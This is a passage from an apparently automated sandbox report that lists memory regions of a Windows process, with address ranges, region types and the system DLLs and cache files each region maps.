"{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000e.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db") Region: id = 1359 start_va = 0x74f40000 end_va = 0x74f66fff monitored = 0 entry_point = 0x74f458b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1360 start_va = 0x756f0000 end_va = 0x75701fff monitored = 0 entry_point = 0x756f1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 1361 start_va = 0x640000 end_va = 0x64cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 1362 start_va = 0x6d0000 end_va = 0x6d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 1363 start_va = 0x7b0000 end_va = 0x7c6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db") Region: id = 1364 start_va = 0x6d0000 end_va = 0x6d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 1365 start_va = 0x6e0000 end_va = 0x6e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1366 start_va = 0x4400000 end_va = 0x4465fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1367 start_va = 0x1ff0000 end_va = 0x1ffdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 1368 start_va = 0x2000000 end_va = 0x200dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 1369 start_va = 0x1ff0000 end_va = 0x1ff0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ff0000" filename = "" Region: id = 1370 start_va = 0x4110000 end_va = 0x4110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004110000" filename = "" Region: id = 1371 start_va = 0x7fb0000 end_va = 0x7feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007fb0000" filename = "" Region: id = 1372 start_va = 0x8190000 end_va = 0x828ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008190000" filename = "" Region: id = 1373 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 1473 start_va = 0x73a90000 end_va = 0x73a9dfff monitored = 0 entry_point = 0x73a91235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2987 start_va = 0x650000 end_va = 0x653fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2988 start_va = 0x4b60000 end_va = 0x4b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b60000" filename = "" Region: id = 2989 start_va = 0x4cf0000 end_va = 0x4d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cf0000" filename = "" Region: id = 2990 start_va = 0x4d50000 end_va = 0x4d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d50000" filename = "" Region: id = 2991 start_va = 0x58c0000 end_va = 0x59bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000058c0000" filename = "" Region: id = 2992 start_va = 0x5a00000 end_va = 0x5afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a00000" filename = "" Region: id = 2993 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 2994 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 3316 start_va = 0x4a0000 end_va = 0x4b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 3317 start_va = 0x73a10000 end_va = 0x73a61fff monitored = 0 entry_point = 0x73a114be region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 3318 start_va = 0x739f0000 end_va = 0x73a04fff monitored = 0 entry_point = 0x739f12de region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 3319 start_va = 0x74da0000 end_va = 0x74dd4fff monitored = 0 entry_point = 0x74da145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3320 start_va = 0x75c30000 end_va = 0x75c35fff monitored = 0 entry_point = 0x75c31782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3321 start_va = 0x739e0000 end_va = 0x739ecfff monitored = 0 entry_point = 0x739e1326 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 3322 start_va = 0x73b40000 end_va = 0x73b7bfff monitored = 0 entry_point = 0x73b4145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 3323 start_va = 0x73b30000 end_va = 0x73b34fff monitored = 0 entry_point = 0x73b315df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 3324 start_va = 0x73b20000 end_va = 0x73b25fff monitored = 0 entry_point = 0x73b21673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 3325 start_va = 0x59c0000 end_va = 0x5a7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3326 start_va = 0x5bb0000 end_va = 0x5beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005bb0000" filename = "" Region: id = 3327 start_va = 0x5d10000 end_va = 0x5e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d10000" filename = "" Region: id = 3328 start_va = 0x71c40000 end_va = 0x71c97fff monitored = 0 entry_point = 0x71c413b4 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 3329 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 3330 start_va = 0x71bf0000 end_va = 0x71c3efff monitored = 0 entry_point = 0x71bf1452 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 3331 start_va = 0x72370000 end_va = 0x72377fff monitored = 0 entry_point = 0x723734d3 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\SysWOW64\\credssp.dll" (normalized: "c:\\windows\\syswow64\\credssp.dll") Region: id = 3332 start_va = 0x5ad0000 end_va = 0x5b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ad0000" filename = "" Region: id = 3333 start_va = 0x7ea0000 end_va = 0x7f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007ea0000" filename = "" Region: id = 3334 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 3335 start_va = 0x74920000 end_va = 0x7493bfff monitored = 0 entry_point = 0x7492a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 3336 start_va = 0x73b90000 end_va = 0x73b96fff monitored = 0 entry_point = 0x73b9128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 3337 start_va = 0x72360000 end_va = 0x7236cfff monitored = 0 entry_point = 0x72362012 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 3338 start_va = 0x71bd0000 end_va = 0x71be1fff monitored = 0 entry_point = 0x71bd3271 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 3339 start_va = 0x4b20000 end_va = 0x4b81fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 3340 start_va = 0x5c50000 end_va = 0x5c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c50000" filename = "" Region: id = 3341 start_va = 0x82e0000 end_va = 0x83dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082e0000" filename = "" Region: id = 3342 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3343 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 3344 start_va = 0x4d0000 end_va = 0x4d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 3345 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 3346 start_va = 0x4d0000 end_va = 0x4d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 3347 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 3348 start_va = 0x4c0000 end_va = 0x4c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 3349 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 3350 start_va = 0x4c0000 end_va = 0x4c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 3351 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 3352 start_va = 0x4c0000 end_va = 0x4c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 3353 start_va = 0x73ba0000 end_va = 0x73be3fff monitored = 0 entry_point = 0x73bb63f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 3354 start_va = 0x5b10000 end_va = 0x5baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b10000" filename = "" Region: id = 3355 start_va = 0x739b0000 end_va = 0x739b5fff monitored = 0 entry_point = 0x739b14b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 3356 start_va = 0x71b90000 end_va = 0x71bc7fff monitored = 0 entry_point = 0x71b9990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 3357 start_va = 0x83e0000 end_va = 0x85effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000083e0000" filename = "" Region: id = 3358 start_va = 0x72350000 end_va = 0x72357fff monitored = 0 entry_point = 0x723510e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3359 start_va = 0x71b50000 end_va = 0x71b8efff monitored = 0 entry_point = 0x71b52351 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll") Region: id = 3360 start_va = 0x71b10000 end_va = 0x71b47fff monitored = 0 entry_point = 0x71b11489 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll") Region: id = 3361 start_va = 0x71ad0000 end_va = 0x71b0cfff monitored = 0 entry_point = 0x71ad10f5 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3362 start_va = 0x5ed0000 end_va = 0x5f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ed0000" filename = "" Region: id = 3363 start_va = 0x84b0000 end_va = 0x85affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000084b0000" filename = "" Region: id = 3364 start_va = 0x85b0000 end_va = 0x85effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000085b0000" filename = "" Region: id = 3365 start_va = 0x71ab0000 end_va = 0x71ac6fff monitored = 0 entry_point = 0x71ab1c9d region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 3366 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 3367 start_va = 0x7ff0000 end_va = 0x80effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007ff0000" filename = "" Region: id = 3368 start_va = 0x85f0000 end_va = 0x87effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000085f0000" filename = "" Region: id = 3369 start_va = 0x71a90000 end_va = 0x71aa5fff monitored = 0 entry_point = 0x71a92061 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\SysWOW64\\gpapi.dll" (normalized: "c:\\windows\\syswow64\\gpapi.dll") Region: id = 3370 start_va = 0x4c0000 end_va = 0x4c9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui") Region: id = 3371 start_va = 0x4270000 end_va = 0x42abfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004270000" filename = "" Region: id = 3374 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3375 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 3376 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 3377 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3378 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 3379 start_va = 0x4110000 end_va = 0x411ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004110000" filename = "" Region: id = 3380 start_va = 0x42f0000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042f0000" filename = "" Region: id = 3381 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 3382 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 3383 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3384 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3385 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3386 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3387 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3388 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3389 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 3390 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3391 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3392 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3393 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3394 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3395 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3396 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3397 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3398 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3399 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3400 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3401 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3402 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3403 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3404 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3405 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3406 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3407 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3408 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3409 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3410 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3411 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3412 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3413 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3414 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3415 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3416 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3417 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3418 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3419 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3420 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3421 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3422 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3423 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3424 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3425 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3426 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3427 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3428 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3429 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3430 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3431 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3432 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3433 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3434 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3435 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3436 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3437 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3438 start_va = 0x4cd0000 end_va = 0x4cf3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004cd0000" filename = "" Region: id = 5471 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5472 start_va = 0x5960000 end_va = 0x599ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005960000" filename = "" Region: id = 5473 start_va = 0x8130000 end_va = 0x822ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008130000" filename = "" Region: id = 5474 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 5520 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5521 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5522 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5524 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5525 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5531 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5532 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5533 start_va = 0x4d0000 end_va = 